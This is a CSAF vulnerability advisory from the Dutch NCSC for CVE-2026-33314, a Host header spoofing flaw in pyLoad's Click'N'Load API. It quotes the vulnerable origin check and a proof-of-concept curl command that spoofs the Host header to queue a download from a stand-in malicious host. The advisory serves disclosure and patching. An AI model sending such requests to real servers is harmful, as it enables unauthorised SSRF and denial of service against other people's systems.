{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-33314",
        "tracking": {
            "current_release_date": "2026-03-29T16:14:50.547515Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-33314",
            "initial_release_date": "2026-03-20T18:16:23.056369Z",
            "revision_history": [
                {
                    "date": "2026-03-20T18:16:23.056369Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:16:26.191516Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-24T20:53:56.427191Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-24T20:53:59.554788Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-24T20:55:46.237388Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-24T20:57:37.605334Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-26T00:50:35.614365Z",
                    "number": "7",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-26T12:25:13.531464Z",
                    "number": "8",
                    "summary": "Products created (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-26T12:25:20.228396Z",
                    "number": "9",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-26T20:39:24.738108Z",
                    "number": "10",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-26T20:39:28.406541Z",
                    "number": "11",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-28T07:58:22.543436Z",
                    "number": "12",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-28T07:58:24.711936Z",
                    "number": "13",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-28T08:11:16.877382Z",
                    "number": "14",
                    "summary": "References removed (1)."
                },
                {
                    "date": "2026-03-29T01:16:47.218139Z",
                    "number": "15",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-29T03:16:11.280220Z",
                    "number": "16",
                    "summary": "References removed (1)."
                },
                {
                    "date": "2026-03-29T16:14:17.534920Z",
                    "number": "17",
                    "summary": "References created (1)."
                }
            ],
            "status": "interim",
            "version": "17"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<0.5.0b3.dev97",
                                "product": {
                                    "name": "vers:unknown/<0.5.0b3.dev97",
                                    "product_id": "CSAFPID-5902863"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "pyload"
                    }
                ],
                "category": "vendor",
                "name": "pyload"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<0.5.0b3.dev97",
                                "product": {
                                    "name": "vers:unknown/<0.5.0b3.dev97",
                                    "product_id": "CSAFPID-5917044",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:pyload-ng_project:pyload-ng:*:*:*:*:*:python:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "pyload-ng"
                    }
                ],
                "category": "vendor",
                "name": "pyload-ng_project"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-33314",
            "cwe": {
                "id": "CWE-346",
                "name": "Origin Validation Error"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "### Summary\n\nA Host Header Spoofing vulnerability in the `@local_check` decorator allows unauthenticated external attackers to bypass local-only restrictions. This grants access to the Click'N'Load API endpoints, enabling attackers to remotely queue arbitrary downloads, leading to Server-Side Request Forgery (SSRF) and Denial of Service (DoS).\n\n### Details\n\nThe `pyload` WebUI provides an API for the Click'N'Load plugin, which is intended to be accessed only from the local machine (e.g., via a browser extension sending requests to `localhost:9666`). To enforce this, the `pyload` application uses a `@local_check` decorator on the relevant routes in `src/pyload/webui/app/blueprints/cnl_blueprint.py`.\n\nHowever, the `@local_check` implementation relies on the user-controlled `HTTP_HOST` (derived from the HTTP `Host` header) to verify the origin:\n\n```python\n# src/pyload/webui/app/blueprints/cnl_blueprint.py\ndef local_check(func):\n    @wraps(func)\n    def wrapper(*args, **kwargs):\n        remote_addr = flask.request.environ.get(\"REMOTE_ADDR\", \"0\")\n        http_host = flask.request.environ.get(\"HTTP_HOST\", \"0\")\n\n        if remote_addr in (\"127.0.0.1\", \"::ffff:127.0.0.1\", \"::1\", \"localhost\") or http_host in (\n                \"127.0.0.1:9666\",\n                \"[::1]:9666\",\n        ):\n            return func(*args, **kwargs)\n        else:\n            return \"Forbidden\", 403\n    return wrapper\n```\n\nBecause `http_host` is read directly from the `Host` header of the HTTP request, an external attacker can easily spoof this header (e.g., `Host: 127.0.0.1:9666`). When this spoofed header is present, the condition `http_host in (\"127.0.0.1:9666\", ...)` evaluates to `True`, completely bypassing the IP address check (`remote_addr`) and granting access to the protected functions.\n\nThe affected routes are:\n\n- `/flash/` and `/flash/<id>`\n- `/flash/add`\n- `/flash/addcrypted`\n- `/flash/addcrypted2`\n- `/flashgot` and `/flashgot_pyload`\n- `/flash/checkSupportForUrl`\n\n### PoC\n\n1. Ensure the PyLoad instance is running and accessible externally.\n2. Ensure the `ClickNLoad` plugin is enabled in the PyLoad settings (it evaluates to disabled by default).\n3. Send a POST request to one of the protected endpoints, such as `/flash/add`, and spoof the `Host` header to `127.0.0.1:9666`.\n\nExample `curl` command:\n\n```bash\ncurl -i -X POST \"http://<pyload-external-ip>:<port>/flash/add\" \\\n     -H \"Host: 127.0.0.1:9666\" \\\n     -d \"urls=http://malicious.com/payload.bin\" \\\n     -d \"package=MaliciousPackage\"\n```\n\n4. Notice that you receive a `success\\r\\n` response instead of a `403 Forbidden`. The package and URL will be successfully added to the PyLoad queue.\n\n### Impact\n\nThis vulnerability allows unauthenticated attackers to interact with the Click'N'Load API. Attackers can arbitrarily add URLs to the download queue, which forces the PyLoad server to make outbound requests to attacker-controlled or internal URLs (SSRF). Attackers can also exhaust the server's storage or bandwidth by queueing massive files (DoS).",
                    "title": "github - https://api.github.com/advisories/GHSA-q485-cg9q-xq2r"
                },
                {
                    "category": "description",
                    "text": "pyLoad is a free and open-source download manager written in Python. Prior to version 0.5.0b3.dev97, a Host Header Spoofing vulnerability in the @local_check decorator allows unauthenticated external attackers to bypass local-only restrictions. This grants access to the Click'N'Load API endpoints, enabling attackers to remotely queue arbitrary downloads, leading to Server-Side Request Forgery (SSRF) and Denial of Service (DoS). This issue has been patched in version 0.5.0b3.dev97.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33314"
                },
                {
                    "category": "description",
                    "text": "pyLoad is a free and open-source download manager written in Python. Prior to version 0.5.0b3.dev97, a Host Header Spoofing vulnerability in the @local_check decorator allows unauthenticated external attackers to bypass local-only restrictions. This grants access to the Click'N'Load API endpoints, enabling attackers to remotely queue arbitrary downloads, leading to Server-Side Request Forgery (SSRF) and Denial of Service (DoS). This issue has been patched in version 0.5.0b3.dev97.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33314.json"
                },
                {
                    "category": "other",
                    "text": "6e-05",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.6",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Is related to CWE-346 (Origin Validation Error)",
                    "title": "NCSC Score top increasing factors"
                },
                {
                    "category": "other",
                    "text": "Exploit code publicly available, There is exploit data available from source Nvd, Is related to an uncommon product vendor, Is related to (a version of) an uncommon product",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5902863",
                    "CSAFPID-5917044"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-q485-cg9q-xq2r"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33314"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33314.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/pyload/pyload/security/advisories/GHSA-q485-cg9q-xq2r"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-q485-cg9q-xq2r"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33314"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
                        "baseScore": 6.5,
                        "baseSeverity": "MEDIUM"
                    },
                    "products": [
                        "CSAFPID-5902863",
                        "CSAFPID-5917044"
                    ]
                }
            ],
            "title": "CVE-2026-33314"
        }
    ]
}